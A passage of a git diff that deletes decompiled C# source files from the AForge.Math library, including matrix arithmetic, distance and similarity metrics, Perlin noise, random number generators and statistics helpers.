vector); - result.V33 = 1f; - return result; - } - - public static Matrix4x4 CreatePerspective(float width, float height, float nearPlaneDistance, float farPlaneDistance) - { - if (nearPlaneDistance <= 0f || farPlaneDistance <= 0f) - { - throw new ArgumentOutOfRangeException("Both near and far view planes' distances must be greater than zero."); - } - if (nearPlaneDistance >= farPlaneDistance) - { - throw new ArgumentException("Near plane must be closer than the far plane."); - } - return new Matrix4x4 - { - V00 = 2f * nearPlaneDistance / width, - V11 = 2f * nearPlaneDistance / height, - V22 = farPlaneDistance / (nearPlaneDistance - farPlaneDistance), - V32 = -1f, - V23 = nearPlaneDistance * farPlaneDistance / (nearPlaneDistance - farPlaneDistance) - }; - } - - public static Matrix4x4 CreateFromRows(Vector4 row0, Vector4 row1, Vector4 row2, Vector4 row3) - { - return new Matrix4x4 - { - V00 = row0.X, - V01 = row0.Y, - V02 = row0.Z, - V03 = row0.W, - V10 = row1.X, - V11 = row1.Y, - V12 = row1.Z, - V13 = row1.W, - V20 = row2.X, - V21 = row2.Y, - V22 = row2.Z, - V23 = row2.W, - V30 = row3.X, - V31 = row3.Y, - V32 = row3.Z, - V33 = row3.W - }; - } - - public static Matrix4x4 CreateFromColumns(Vector4 column0, Vector4 column1, Vector4 column2, Vector4 column3) - { - return new Matrix4x4 - { - V00 = column0.X, - V10 = column0.Y, - V20 = column0.Z, - V30 = column0.W, - V01 = column1.X, - V11 = column1.Y, - V21 = column1.Z, - V31 = column1.W, - V02 = column2.X, - V12 = column2.Y, - V22 = column2.Z, - V32 = column2.W, - V03 = column3.X, - V13 = column3.Y, - V23 = column3.Z, - V33 = column3.W - }; - } - - public static Matrix4x4 CreateDiagonal(Vector4 vector) - { - return new Matrix4x4 - { - V00 = vector.X, - V11 = vector.Y, - V22 = vector.Z, - V33 = vector.W - }; - } - - public Vector4 GetRow(int index) - { - return index switch - { - 3 => new Vector4(V30, V31, V32, V33), - 2 => new Vector4(V20, V21, V22, V23), - 1 => new Vector4(V10, V11, V12, V13), - 0 => new Vector4(V00, V01, V02, V03), - _ => throw new ArgumentException("Invalid row index was specified.", "index"), - }; - } - - public Vector4 GetColumn(int index) - { - return index switch - { - 3 => new Vector4(V03, V13, V23, V33), - 2 => new Vector4(V02, V12, V22, V32), - 1 => new Vector4(V01, V11, V21, V31), - 0 => new Vector4(V00, V10, V20, V30), - _ => throw new ArgumentException("Invalid column index was specified.", "index"), - }; - } - - public static Matrix4x4 operator *(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return new Matrix4x4 - { - V00 = matrix1.V00 * matrix2.V00 + matrix1.V01 * matrix2.V10 + matrix1.V02 * matrix2.V20 + matrix1.V03 * matrix2.V30, - V01 = matrix1.V00 * matrix2.V01 + matrix1.V01 * matrix2.V11 + matrix1.V02 * matrix2.V21 + matrix1.V03 * matrix2.V31, - V02 = matrix1.V00 * matrix2.V02 + matrix1.V01 * matrix2.V12 + matrix1.V02 * matrix2.V22 + matrix1.V03 * matrix2.V32, - V03 = matrix1.V00 * matrix2.V03 + matrix1.V01 * matrix2.V13 + matrix1.V02 * matrix2.V23 + matrix1.V03 * matrix2.V33, - V10 = matrix1.V10 * matrix2.V00 + matrix1.V11 * matrix2.V10 + matrix1.V12 * matrix2.V20 + matrix1.V13 * matrix2.V30, - V11 = matrix1.V10 * matrix2.V01 + matrix1.V11 * matrix2.V11 + matrix1.V12 * matrix2.V21 + matrix1.V13 * matrix2.V31, - V12 = matrix1.V10 * matrix2.V02 + matrix1.V11 * matrix2.V12 + matrix1.V12 * matrix2.V22 + matrix1.V13 * matrix2.V32, - V13 = matrix1.V10 * matrix2.V03 + matrix1.V11 * matrix2.V13 + matrix1.V12 * matrix2.V23 + matrix1.V13 * matrix2.V33, - V20 = matrix1.V20 * matrix2.V00 + matrix1.V21 * matrix2.V10 + matrix1.V22 * matrix2.V20 + matrix1.V23 * matrix2.V30, - V21 = matrix1.V20 * matrix2.V01 + matrix1.V21 * matrix2.V11 + matrix1.V22 * matrix2.V21 + matrix1.V23 * matrix2.V31, - V22 = matrix1.V20 * matrix2.V02 + matrix1.V21 * matrix2.V12 + matrix1.V22 * matrix2.V22 + matrix1.V23 * matrix2.V32, - V23 = matrix1.V20 * matrix2.V03 + matrix1.V21 * matrix2.V13 + matrix1.V22 * matrix2.V23 + matrix1.V23 * matrix2.V33, - V30 = matrix1.V30 * matrix2.V00 + matrix1.V31 * matrix2.V10 + matrix1.V32 * matrix2.V20 + matrix1.V33 * matrix2.V30, - V31 = matrix1.V30 * matrix2.V01 + matrix1.V31 * matrix2.V11 + matrix1.V32 * matrix2.V21 + matrix1.V33 * matrix2.V31, - V32 = matrix1.V30 * matrix2.V02 + matrix1.V31 * matrix2.V12 + matrix1.V32 * matrix2.V22 + matrix1.V33 * matrix2.V32, - V33 = matrix1.V30 * matrix2.V03 + matrix1.V31 * matrix2.V13 + matrix1.V32 * matrix2.V23 + matrix1.V33 * matrix2.V33 - }; - } - - public static Matrix4x4 Multiply(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return matrix1 * matrix2; - } - - public static Matrix4x4 operator +(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return new Matrix4x4 - { - V00 = matrix1.V00 + matrix2.V00, - V01 = matrix1.V01 + matrix2.V01, - V02 = matrix1.V02 + matrix2.V02, - V03 = matrix1.V03 + matrix2.V03, - V10 = matrix1.V10 + matrix2.V10, - V11 = matrix1.V11 + matrix2.V11, - V12 = matrix1.V12 + matrix2.V12, - V13 = matrix1.V13 + matrix2.V13, - V20 = matrix1.V20 + matrix2.V20, - V21 = matrix1.V21 + matrix2.V21, - V22 = matrix1.V22 + matrix2.V22, - V23 = matrix1.V23 + matrix2.V23, - V30 = matrix1.V30 + matrix2.V30, - V31 = matrix1.V31 + matrix2.V31, - V32 = matrix1.V32 + matrix2.V32, - V33 = matrix1.V33 + matrix2.V33 - }; - } - - public static Matrix4x4 Add(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return matrix1 + matrix2; - } - - public static Matrix4x4 operator -(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return new Matrix4x4 - { - V00 = matrix1.V00 - matrix2.V00, - V01 = matrix1.V01 - matrix2.V01, - V02 = matrix1.V02 - matrix2.V02, - V03 = matrix1.V03 - matrix2.V03, - V10 = matrix1.V10 - matrix2.V10, - V11 = matrix1.V11 - matrix2.V11, - V12 = matrix1.V12 - matrix2.V12, - V13 = matrix1.V13 - matrix2.V13, - V20 = matrix1.V20 - matrix2.V20, - V21 = matrix1.V21 - matrix2.V21, - V22 = matrix1.V22 - matrix2.V22, - V23 = matrix1.V23 - matrix2.V23, - V30 = matrix1.V30 - matrix2.V30, - V31 = matrix1.V31 - matrix2.V31, - V32 = matrix1.V32 - matrix2.V32, - V33 = matrix1.V33 - matrix2.V33 - }; - } - - public static Matrix4x4 Subtract(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - return matrix1 - matrix2; - } - - public static Vector4 operator *(Matrix4x4 matrix, Vector4 vector) - { - return new Vector4(matrix.V00 * vector.X + matrix.V01 * vector.Y + matrix.V02 * vector.Z + matrix.V03 * vector.W, matrix.V10 * vector.X + matrix.V11 * vector.Y + matrix.V12 * vector.Z + matrix.V13 * vector.W, matrix.V20 * vector.X + matrix.V21 * vector.Y + matrix.V22 * vector.Z + matrix.V23 * vector.W, matrix.V30 * vector.X + matrix.V31 * vector.Y + matrix.V32 * vector.Z + matrix.V33 * vector.W); - } - - public static Vector4 Multiply(Matrix4x4 matrix, Vector4 vector) - { - return matrix * vector; - } - - public static bool operator ==(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - if (matrix1.V00 == matrix2.V00 && matrix1.V01 == matrix2.V01 && matrix1.V02 == matrix2.V02 && matrix1.V03 == matrix2.V03 && matrix1.V10 == matrix2.V10 && matrix1.V11 == matrix2.V11 && matrix1.V12 == matrix2.V12 && matrix1.V13 == matrix2.V13 && matrix1.V20 == matrix2.V20 && matrix1.V21 == matrix2.V21 && matrix1.V22 == matrix2.V22 && matrix1.V23 == matrix2.V23 && matrix1.V30 == matrix2.V30 && matrix1.V31 == matrix2.V31 && matrix1.V32 == matrix2.V32) - { - return matrix1.V33 == matrix2.V33; - } - return false; - } - - public static bool operator !=(Matrix4x4 matrix1, Matrix4x4 matrix2) - { - if (matrix1.V00 == matrix2.V00 && matrix1.V01 == matrix2.V01 && matrix1.V02 == matrix2.V02 && matrix1.V03 == matrix2.V03 && matrix1.V10 == matrix2.V10 && matrix1.V11 == matrix2.V11 && matrix1.V12 == matrix2.V12 && matrix1.V13 == matrix2.V13 && matrix1.V20 == matrix2.V20 && matrix1.V21 == matrix2.V21 && matrix1.V22 == matrix2.V22 && matrix1.V23 == matrix2.V23 && matrix1.V30 == matrix2.V30 && matrix1.V31 == matrix2.V31 && matrix1.V32 == matrix2.V32) - { - return matrix1.V33 != matrix2.V33; - } - return true; - } - - public bool Equals(Matrix4x4 matrix) - { - return this == matrix; - } - - public override bool Equals(object obj) - { - if (obj is Matrix4x4) - { - return Equals((Matrix4x4)obj); - } - return false; - } - - public override int GetHashCode() - { - return V00.GetHashCode() + V01.GetHashCode() + V02.GetHashCode() + V03.GetHashCode() + V10.GetHashCode() + V11.GetHashCode() + V12.GetHashCode() + V13.GetHashCode() + V20.GetHashCode() + V21.GetHashCode() + V22.GetHashCode() + V23.GetHashCode() + V30.GetHashCode() + V31.GetHashCode() + V32.GetHashCode() + V33.GetHashCode(); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineDistance.cs deleted file mode 100644 index 7afa85f..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineDistance.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace AForge.Math.Metrics; - -public sealed class CosineDistance : IDistance -{ - public double GetDistance(double[] p, double[] q) - { - CosineSimilarity cosineSimilarity = new CosineSimilarity(); - return 1.0 - cosineSimilarity.GetSimilarityScore(p, q); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineSimilarity.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineSimilarity.cs deleted file mode 100644 index fbed26d..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/CosineSimilarity.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class CosineSimilarity : ISimilarity -{ - public double GetSimilarityScore(double[] p, double[] q) - { - double num = 0.0; - double num2 = 0.0; - double num3 = 0.0; - double num4 = 0.0; - if (p.Length != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - int i = 0; - for (int num5 = p.Length; i < num5; i++) - { - double num6 = p[i]; - double num7 = q[i]; - num2 += num6 * num7; - num3 += num6 * num6; - num4 += num7 * num7; - } - num = System.Math.Sqrt(num3) * System.Math.Sqrt(num4); - if (num != 0.0) - { - return num2 / num; - } - return 0.0; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanDistance.cs deleted file mode 100644 index fa2c067..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanDistance.cs +++ /dev/null @@ -1,23 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class EuclideanDistance : IDistance -{ - public double GetDistance(double[] p, double[] q) - { - double num = 0.0; - double num2 = 0.0; - if (p.Length != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - int i = 0; - for (int num3 = p.Length; i < num3; i++) - { - num2 = p[i] - q[i]; - num += num2 * num2; - } - return System.Math.Sqrt(num); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanSimilarity.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanSimilarity.cs deleted file mode 100644 index dd6909c..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/EuclideanSimilarity.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace AForge.Math.Metrics; - -public sealed class EuclideanSimilarity : ISimilarity -{ - public double GetSimilarityScore(double[] p, double[] q) - { - double num = 0.0; - EuclideanDistance euclideanDistance = new EuclideanDistance(); - return 1.0 / (1.0 + euclideanDistance.GetDistance(p, q)); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/HammingDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/HammingDistance.cs deleted file mode 100644 index bc988da..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/HammingDistance.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class HammingDistance : IDistance -{ - public double GetDistance(double[] p, double[] q) - { - double num = 0.0; - if (p.Length != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - int i = 0; - for (int num2 = p.Length; i < num2; i++) - { - if (p[i] != q[i]) - { - num += 1.0; - } - } - return num; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/IDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/IDistance.cs deleted file mode 100644 index 5087f5e..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/IDistance.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace AForge.Math.Metrics; - -public interface IDistance -{ - double GetDistance(double[] p, double[] q); -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/ISimilarity.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/ISimilarity.cs deleted file mode 100644 index b13124c..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/ISimilarity.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace AForge.Math.Metrics; - -public interface ISimilarity -{ - double GetSimilarityScore(double[] p, double[] q); -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/JaccardDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/JaccardDistance.cs deleted file mode 100644 index 07504ec..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/JaccardDistance.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class JaccardDistance : IDistance -{ - public double GetDistance(double[] p, double[] q) - { - double num = 0.0; - int num2 = 0; - int num3 = 0; - if (p.Length != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - int i = 0; - for (int num4 = p.Length; i < num4; i++) - { - if (p[i] != 0.0 || q[i] != 0.0) - { - if (p[i] == q[i]) - { - num2++; - } - num3++; - } - } - if (num3 != 0) - { - return 1.0 - (double)num2 / (double)num3; - } - return 0.0; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/ManhattanDistance.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/ManhattanDistance.cs deleted file mode 100644 index 57680ef..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/ManhattanDistance.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class ManhattanDistance : IDistance -{ - public double GetDistance(double[] p, double[] q) - { - double num = 0.0; - if (p.Length != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - int i = 0; - for (int num2 = p.Length; i < num2; i++) - { - num += System.Math.Abs(p[i] - q[i]); - } - return num; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Metrics/PearsonCorrelation.cs b/output/Libraries/AForge.Math/AForge/Math/Metrics/PearsonCorrelation.cs deleted file mode 100644 index e08581c..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Metrics/PearsonCorrelation.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -namespace AForge.Math.Metrics; - -public sealed class PearsonCorrelation : ISimilarity -{ - public double GetSimilarityScore(double[] p, double[] q) - { - double num = 0.0; - double num2 = 0.0; - double num3 = 0.0; - double num4 = 0.0; - double num5 = 0.0; - int num6 = p.Length; - if (num6 != q.Length) - { - throw new ArgumentException("Input vectors must be of the same dimension."); - } - for (int i = 0; i < num6; i++) - { - double num7 = p[i]; - double num8 = q[i]; - num += num7; - num2 += num8; - num3 += num7 * num7; - num4 += num8 * num8; - num5 += num7 * num8; - } - double num9 = num5 - num * num2 / (double)num6; - double num10 = System.Math.Sqrt((num3 - num * num / (double)num6) * (num4 - num2 * num2 / (double)num6)); - if (num10 != 0.0) - { - return num9 / num10; - } - return 0.0; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/PerlinNoise.cs b/output/Libraries/AForge.Math/AForge/Math/PerlinNoise.cs deleted file mode 100644 index 488d42e..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/PerlinNoise.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; - -namespace AForge.Math; - -public class PerlinNoise -{ - private double initFrequency = 1.0; - - private double initAmplitude = 1.0; - - private double persistence = 0.65; - - private int octaves = 4; - - public double InitFrequency - { - get - { - return initFrequency; - } - set - { - initFrequency = value; - } - } - - public double InitAmplitude - { - get - { - return initAmplitude; - } - set - { - initAmplitude = value; - } - } - - public double Persistence - { - get - { - return persistence; - } - set - { - persistence = value; - } - } - - public int Octaves - { - get - { - return octaves; - } - set - { - octaves = System.Math.Max(1, System.Math.Min(32, value)); - } - } - - public PerlinNoise() - { - } - - public PerlinNoise(int octaves, double persistence) - { - this.octaves = octaves; - this.persistence = persistence; - } - - public PerlinNoise(int octaves, double persistence, double initFrequency, double initAmplitude) - { - this.octaves = octaves; - this.persistence = persistence; - this.initFrequency = initFrequency; - this.initAmplitude = initAmplitude; - } - - public double Function(double x) - { - double num = initFrequency; - double num2 = initAmplitude; - double num3 = 0.0; - for (int i = 0; i < octaves; i++) - { - num3 += SmoothedNoise(x * num) * num2; - num *= 2.0; - num2 *= persistence; - } - return num3; - } - - public double Function2D(double x, double y) - { - double num = initFrequency; - double num2 = initAmplitude; - double num3 = 0.0; - for (int i = 0; i < octaves; i++) - { - num3 += SmoothedNoise(x * num, y * num) * num2; - num *= 2.0; - num2 *= persistence; - } - return num3; - } - - private double Noise(int x) - { - int num = (x << 13) ^ x; - return 1.0 - (double)((num * (num * num * 15731 + 789221) + 1376312589) & 0x7FFFFFFF) / 1073741824.0; - } - - private double Noise(int x, int y) - { - int num = x + y * 57; - num = (num << 13) ^ num; - return 1.0 - (double)((num * (num * num * 15731 + 789221) + 1376312589) & 0x7FFFFFFF) / 1073741824.0; - } - - private double SmoothedNoise(double x) - { - int num = (int)x; - double a = x - (double)num; - return CosineInterpolate(Noise(num), Noise(num + 1), a); - } - - private double SmoothedNoise(double x, double y) - { - int num = (int)x; - int num2 = (int)y; - double a = x - (double)num; - double a2 = y - (double)num2; - double x2 = Noise(num, num2); - double x3 = Noise(num + 1, num2); - double x4 = Noise(num, num2 + 1); - double x5 = Noise(num + 1, num2 + 1); - double x6 = CosineInterpolate(x2, x3, a); - double x7 = CosineInterpolate(x4, x5, a); - return CosineInterpolate(x6, x7, a2); - } - - private double CosineInterpolate(double x1, double x2, double a) - { - double num = (1.0 - System.Math.Cos(a * System.Math.PI)) * 0.5; - return x1 * (1.0 - num) + x2 * num; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/ExponentialGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/ExponentialGenerator.cs deleted file mode 100644 index ac30272..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/ExponentialGenerator.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; - -namespace AForge.Math.Random; - -public class ExponentialGenerator : IRandomNumberGenerator -{ - private UniformOneGenerator rand; - - private float rate; - - public float Rate => rate; - - public float Mean => 1f / rate; - - public float Variance => 1f / (rate * rate); - - public ExponentialGenerator(float rate) - : this(rate, 0) - { - } - - public ExponentialGenerator(float rate, int seed) - { - if (rate <= 0f) - { - throw new ArgumentException("Rate value should be greater than zero."); - } - rand = new UniformOneGenerator(seed); - this.rate = rate; - } - - public float Next() - { - return (0f - (float)System.Math.Log(rand.Next())) / rate; - } - - public void SetSeed(int seed) - { - rand = new UniformOneGenerator(seed); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/GaussianGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/GaussianGenerator.cs deleted file mode 100644 index 793a65f..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/GaussianGenerator.cs +++ /dev/null @@ -1,38 +0,0 @@ -namespace AForge.Math.Random; - -public class GaussianGenerator : IRandomNumberGenerator -{ - private StandardGenerator rand; - - private float mean; - - private float stdDev; - - public float Mean => mean; - - public float Variance => stdDev * stdDev; - - public float StdDev => stdDev; - - public GaussianGenerator(float mean, float stdDev) - : this(mean, stdDev, 0) - { - } - - public GaussianGenerator(float mean, float stdDev, int seed) - { - this.mean = mean; - this.stdDev = stdDev; - rand = new StandardGenerator(seed); - } - - public float Next() - { - return rand.Next() * stdDev + mean; - } - - public void SetSeed(int seed) - { - rand = new StandardGenerator(seed); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/IRandomNumberGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/IRandomNumberGenerator.cs deleted file mode 100644 index 0ccfda7..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/IRandomNumberGenerator.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace AForge.Math.Random; - -public interface IRandomNumberGenerator -{ - float Mean { get; } - - float Variance { get; } - - float Next(); - - void SetSeed(int seed); -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/StandardGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/StandardGenerator.cs deleted file mode 100644 index b5c6ca8..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/StandardGenerator.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; - -namespace AForge.Math.Random; - -public class StandardGenerator : IRandomNumberGenerator -{ - private UniformOneGenerator rand; - - private float secondValue; - - private bool useSecond; - - public float Mean => 0f; - - public float Variance => 1f; - - public StandardGenerator() - { - rand = new UniformOneGenerator(); - } - - public StandardGenerator(int seed) - { - rand = new UniformOneGenerator(seed); - } - - public float Next() - { - if (useSecond) - { - useSecond = false; - return secondValue; - } - float num; - float num2; - float num3; - do - { - num = rand.Next() * 2f - 1f; - num2 = rand.Next() * 2f - 1f; - num3 = num * num + num2 * num2; - } - while (num3 >= 1f); - num3 = (float)System.Math.Sqrt(-2.0 * System.Math.Log(num3) / (double)num3); - float result = num * num3; - secondValue = num2 * num3; - useSecond = true; - return result; - } - - public void SetSeed(int seed) - { - rand = new UniformOneGenerator(seed); - useSecond = false; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/UniformGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/UniformGenerator.cs deleted file mode 100644 index 2a4ef2a..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/UniformGenerator.cs +++ /dev/null @@ -1,38 +0,0 @@ -namespace AForge.Math.Random; - -public class UniformGenerator : IRandomNumberGenerator -{ - private UniformOneGenerator rand; - - private float min; - - private float length; - - public float Mean => (min + min + length) / 2f; - - public float Variance => length * length / 12f; - - public Range Range => new Range(min, min + length); - - public UniformGenerator(Range range) - : this(range, 0) - { - } - - public UniformGenerator(Range range, int seed) - { - rand = new UniformOneGenerator(seed); - min = range.Min; - length = range.Length; - } - - public float Next() - { - return rand.Next() * length + min; - } - - public void SetSeed(int seed) - { - rand = new UniformOneGenerator(seed); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Random/UniformOneGenerator.cs b/output/Libraries/AForge.Math/AForge/Math/Random/UniformOneGenerator.cs deleted file mode 100644 index 0777290..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Random/UniformOneGenerator.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace AForge.Math.Random; - -public class UniformOneGenerator : IRandomNumberGenerator -{ - private ThreadSafeRandom rand; - - public float Mean => 0.5f; - - public float Variance => 1f / 12f; - - public UniformOneGenerator() - { - rand = new ThreadSafeRandom(0); - } - - public UniformOneGenerator(int seed) - { - rand = new ThreadSafeRandom(seed); - } - - public float Next() - { - return (float)rand.NextDouble(); - } - - public void SetSeed(int seed) - { - rand = new ThreadSafeRandom(seed); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Statistics.cs b/output/Libraries/AForge.Math/AForge/Math/Statistics.cs deleted file mode 100644 index a773363..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Statistics.cs +++ /dev/null @@ -1,142 +0,0 @@ -using System; - -namespace AForge.Math; - -public static class Statistics -{ - public static double Mean(int[] values) - { - long num = 0L; - double num2 = 0.0; - int i = 0; - for (int num3 = values.Length; i < num3; i++) - { - int num4 = values[i]; - num2 += (double)(i * num4); - num += num4; - } - if (num != 0) - { - return num2 / (double)num; - } - return 0.0; - } - - public static double StdDev(int[] values) - { - return StdDev(values, Mean(values)); - } - - public static double StdDev(int[] values, double mean) - { - double num = 0.0; - int num2 = 0; - int i = 0; - for (int num3 = values.Length; i < num3; i++) - { - int num4 = values[i]; - double num5 = (double)i - mean; - num += num5 * num5 * (double)num4; - num2 += num4; - } - if (num2 != 0) - { - return System.Math.Sqrt(num / (double)num2); - } - return 0.0; - } - - public static int Median(int[] values) - { - int num = 0; - int num2 = values.Length; - for (int i = 0; i < num2; i++) - { - num += values[i]; - } - int num3 = num / 2; - int j = 0; - int num4 = 0; - for (; j < num2; j++) - { - num4 += values[j]; - if (num4 >= num3) - { - break; - } - } - return j; - } - - public static IntRange GetRange(int[] values, double percent) - { - int num = 0; - int num2 = values.Length; - for (int i = 0; i < num2; i++) - { - num += values[i]; - } - int num3 = (int)((double)num * (percent + (1.0 - percent) / 2.0)); - int j = 0; - int num4 = num; - for (; j < num2; j++) - { - num4 -= values[j]; - if (num4 < num3) - { - break; - } - } - int num5 = num2 - 1; - num4 = num; - while (num5 >= 0) - { - num4 -= values[num5]; - if (num4 < num3) - { - break; - } - num5--; - } - return new IntRange(j, num5); - } - - public static double Entropy(int[] values) - { - int num = values.Length; - int num2 = 0; - double num3 = 0.0; - for (int i = 0; i < num; i++) - { - num2 += values[i]; - } - if (num2 != 0) - { - for (int j = 0; j < num; j++) - { - double num4 = (double)values[j] / (double)num2; - if (num4 != 0.0) - { - num3 += (0.0 - num4) * System.Math.Log(num4, 2.0); - } - } - } - return num3; - } - - public static int Mode(int[] values) - { - int result = 0; - int num = 0; - int i = 0; - for (int num2 = values.Length; i < num2; i++) - { - if (values[i] > num) - { - num = values[i]; - result = i; - } - } - return result; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Tools.cs b/output/Libraries/AForge.Math/AForge/Math/Tools.cs deleted file mode 100644 index 52d13a2..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Tools.cs +++ /dev/null @@ -1,151 +0,0 @@ -namespace AForge.Math; - -public static class Tools -{ - public static int Pow2(int power) - { - if (power < 0 || power > 30) - { - return 0; - } - return 1 << power; - } - - public static bool IsPowerOf2(int x) - { - if (x <= 0) - { - return false; - } - return (x & (x - 1)) == 0; - } - - public static int Log2(int x) - { - if (x <= 65536) - { - if (x <= 256) - { - if (x <= 16) - { - if (x <= 4) - { - if (x <= 2) - { - if (x <= 1) - { - return 0; - } - return 1; - } - return 2; - } - if (x <= 8) - { - return 3; - } - return 4; - } - if (x <= 64) - { - if (x <= 32) - { - return 5; - } - return 6; - } - if (x <= 128) - { - return 7; - } - return 8; - } - if (x <= 4096) - { - if (x <= 1024) - { - if (x <= 512) - { - return 9; - } - return 10; - } - if (x <= 2048) - { - return 11; - } - return 12; - } - if (x <= 16384) - { - if (x <= 8192) - { - return 13; - } - return 14; - } - if (x <= 32768) - { - return 15; - } - return 16; - } - if (x <= 16777216) - { - if (x <= 1048576) - { - if (x <= 262144) - { - if (x <= 131072) - { - return 17; - } - return 18; - } - if (x <= 524288) - { - return 19; - } - return 20; - } - if (x <= 4194304) - { - if (x <= 2097152) - { - return 21; - } - return 22; - } - if (x <= 8388608) - { - return 23; - } - return 24; - } - if (x <= 268435456) - { - if (x <= 67108864) - { - if (x <= 33554432) - { - return 25; - } - return 26; - } - if (x <= 134217728) - { - return 27; - } - return 28; - } - if (x <= 1073741824) - { - if (x <= 536870912) - { - return 29; - } - return 30; - } - return 31; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Vector3.cs b/output/Libraries/AForge.Math/AForge/Math/Vector3.cs deleted file mode 100644 index 1d4612e..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Vector3.cs +++ /dev/null @@ -1,276 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge.Math; - -[Serializable] -public struct Vector3 -{ - public float X; - - public float Y; - - public float Z; - - public float Max - { - get - { - if (!(X > Y)) - { - if (!(Y > Z)) - { - return Z; - } - return Y; - } - if (!(X > Z)) - { - return Z; - } - return X; - } - } - - public float Min - { - get - { - if (!(X < Y)) - { - if (!(Y < Z)) - { - return Z; - } - return Y; - } - if (!(X < Z)) - { - return Z; - } - return X; - } - } - - public int MaxIndex - { - get - { - if (!(X >= Y)) - { - if (!(Y >= Z)) - { - return 2; - } - return 1; - } - if (!(X >= Z)) - { - return 2; - } - return 0; - } - } - - public int MinIndex - { - get - { - if (!(X <= Y)) - { - if (!(Y <= Z)) - { - return 2; - } - return 1; - } - if (!(X <= Z)) - { - return 2; - } - return 0; - } - } - - public float Norm => (float)System.Math.Sqrt(X * X + Y * Y + Z * Z); - - public float Square => X * X + Y * Y + Z * Z; - - public Vector3(float x, float y, float z) - { - X = x; - Y = y; - Z = z; - } - - public Vector3(float value) - { - X = (Y = (Z = value)); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, 